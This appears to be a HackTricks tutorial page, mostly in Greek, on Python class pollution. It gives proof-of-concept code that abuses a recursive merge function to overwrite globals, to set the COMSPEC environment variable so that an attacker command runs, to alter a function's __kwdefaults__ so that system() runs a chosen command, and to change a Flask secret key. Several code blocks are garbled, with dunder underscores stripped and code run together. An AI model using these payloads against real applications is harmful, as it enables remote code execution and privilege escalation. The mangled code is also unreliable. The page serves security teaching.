Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Βασικό Παράδειγμα
Ελέγξτε πώς είναι δυνατόν να ρυπάνετε τις κλάσεις αντικειμένων με αλφαριθμητικά:
classCompany: passclassDeveloper(Company): passclassEntity(Developer): passc =Company()d =Developer()e =Entity()print(c)#<__main__.Company object at 0x1043a72b0>print(d)#<__main__.Developer object at 0x1041d2b80>print(e)#<__main__.Entity object at 0x1041d2730>e.__class__.__qualname__='Polluted_Entity'print(e)#<__main__.Polluted_Entity object at 0x1041d2730>e.__class__.__base__.__qualname__='Polluted_Developer'e.__class__.__base__.__base__.__qualname__='Polluted_Company'print(d)#<__main__.Polluted_Developer object at 0x1041d2b80>print(c)#<__main__.Polluted_Company object at 0x1043a72b0>
Βασικό παράδειγμα ευπάθειας
Consider the following Python code:
classUser:def__init__(self,username,password): self.username = username self.password = passworddeflogin(self):# Code for user logindeflogout(self):# Code for user logoutclassAdmin(User):def__init__(self,username,password):super().__init__(username, password)defpromote_user(self,user):# Code for promoting a user to admindefdelete_user(self,user):# Code for deleting a user# Creating a user objectuser =User("john", "password123")# Logging in as a useruser.login()# Creating an admin objectadmin =Admin("admin", "admin123")# Promoting the user to adminadmin.promote_user(user)# Deleting the useradmin.delete_user(user)
In this example, we have a basic implementation of a User class and an Admin class that inherits from the User class. The User class has methods for login and logout, while the Admin class has additional methods for promoting a user to admin and deleting a user.
However, there is a vulnerability in this code due to the lack of proper input validation. Specifically, the promote_user and delete_user methods do not check if the user being operated on is actually a User object. This means that any object can be passed as an argument to these methods, potentially leading to unauthorized access or unintended consequences.
To mitigate this vulnerability, it is important to add input validation to ensure that only User objects can be promoted or deleted by the Admin class. This can be done by checking the type of the object before performing any operations on it.
classAdmin(User):def__init__(self,username,password):super().__init__(username, password)defpromote_user(self,user):ifisinstance(user, User):# Code for promoting a user to adminelse:raiseValueError("Invalid user object")defdelete_user(self,user):ifisinstance(user, User):# Code for deleting a userelse:raiseValueError("Invalid user object")
By adding this input validation, we ensure that only User objects can be promoted or deleted by the Admin class, reducing the risk of unauthorized access or unintended consequences.
Δημιουργία προεπιλεγμένης τιμής ιδιότητας κλάσης για RCE (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
</details>
<details>
<summary>Ρύπανση άλλων κλάσεων και παγκόσμιων μεταβλητών μέσω της <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Αυθαίρετη εκτέλεση υποδιεργασιών
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Αντικατάσταση του <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βάσει της [τεκμηρίωσης](https://docs.python.org/3/library/inspect.html) της Python, είναι ένα "χαρτογράφημα των προεπιλεγμένων τιμών για τις παραμέτρους μόνο με λέξεις-κλειδιά". Η αλλοίωση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο με λέξεις-κλειδιά μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που ακολουθούν μετά το \* ή \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Αντικατάσταση του μυστικού του Flask σε διάφορα αρχεία
Έτσι, αν μπορείτε να κάνετε μια κλασική ρύπανση πάνω σε ένα αντικείμενο που έχει οριστεί στο κύριο αρχείο Python της ιστοσελίδας, της οποίας η κλάση έχει οριστεί σε διαφορετικό αρχείο από το κύριο. Επειδή για να έχετε πρόσβαση στο __globals__ στις προηγούμενες επιθέσεις, πρέπει να έχετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να έχετε πρόσβαση στα globals σε αυτό το αρχείο, αλλά όχι στο κύριο.
Συνεπώς, δεν θα μπορείτε να έχετε πρόσβαση στο αντικείμενο Flask app global που ορίζει το κλειδί του μυστικού στην κύρια σελίδα:
Σε αυτό το σενάριο χρειάζεστε ένα εργαλείο για να περιηγηθείτε στα αρχεία για να φτάσετε στο κύριο αρχείο και να αποκτήσετε πρόσβαση στον παγκόσμιο αντικείμενο app.secret_key για να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να αναβαθμίσετε τα δικαιώματα γνωρίζοντας αυτό το κλειδί.
Χρησιμοποιήστε αυτό το payload για να αλλάξετε το app.secret_key (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) για να μπορείτε να υπογράφετε νέα και πιο προνόμια cookies του flask.
Ελέγξτε επίσης την παρακάτω σελίδα για περισσότερα gadgets μόνο για ανάγνωση: